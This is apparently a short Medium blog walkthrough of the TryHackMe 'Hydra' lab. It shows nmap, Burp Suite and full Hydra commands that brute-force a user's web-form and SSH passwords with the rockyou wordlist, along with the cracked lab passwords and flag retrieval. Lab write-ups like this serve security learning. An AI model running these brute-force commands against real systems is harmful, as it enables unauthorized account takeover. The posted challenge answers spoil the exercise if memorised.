Sitemap
Nihir Zala

Nihir Zala

Hi there, I'm Nihir Zala—a Laravel developer from Gujrat, India, with over 2.5 years of professional experience. I also learning Penetesting from THM and HTB.

Hydra | TryHackMe Walkthrough

Jan 26, 2023
Press enter or click to view image in full size
  1. Use Hydra to bruteforce molly’s web password. What is flag 1?

Scan open ports

nmap -p- <ip>

Access HTTP site, try logging-in to see what happen

Seems like I don’t have correct credentials.

View source shows nothing

Intercept with Burp Suite. It’s POST request.

Try SQL injection, but It’s not work neither.

Without any further information. I’ll have to brute-forcing with hydra

Get Nihir Zala’s stories in your inbox

Join Medium for free to get updates from this writer.

Craft the command.

hydra -l molly -P rockyou.txt <ip> http-post-form "/loginusername=^USER^&password=^PASS^:F=Your username or password is incorrect." -V

Run the command

Result -> molly:sunshine

Login, now I have first flag.

2. Use Hydra to bruteforce molly’s SSH password. What is flag 2?

hydra -l molly -P Desktop/rockyou.txt 10.10.138.145 ssh -t 4

Result -> molly:butterfly

SSH login

ssh molly@<ip>

Read flag file

ls cat flag2.txt
Press enter or click to view image in full size

--

--

Nihir Zala
Nihir Zala

Written by Nihir Zala

Hi there, I'm Nihir Zala—a Laravel developer from Gujrat, India, with over 2.5 years of professional experience. I also learning Penetesting from THM and HTB.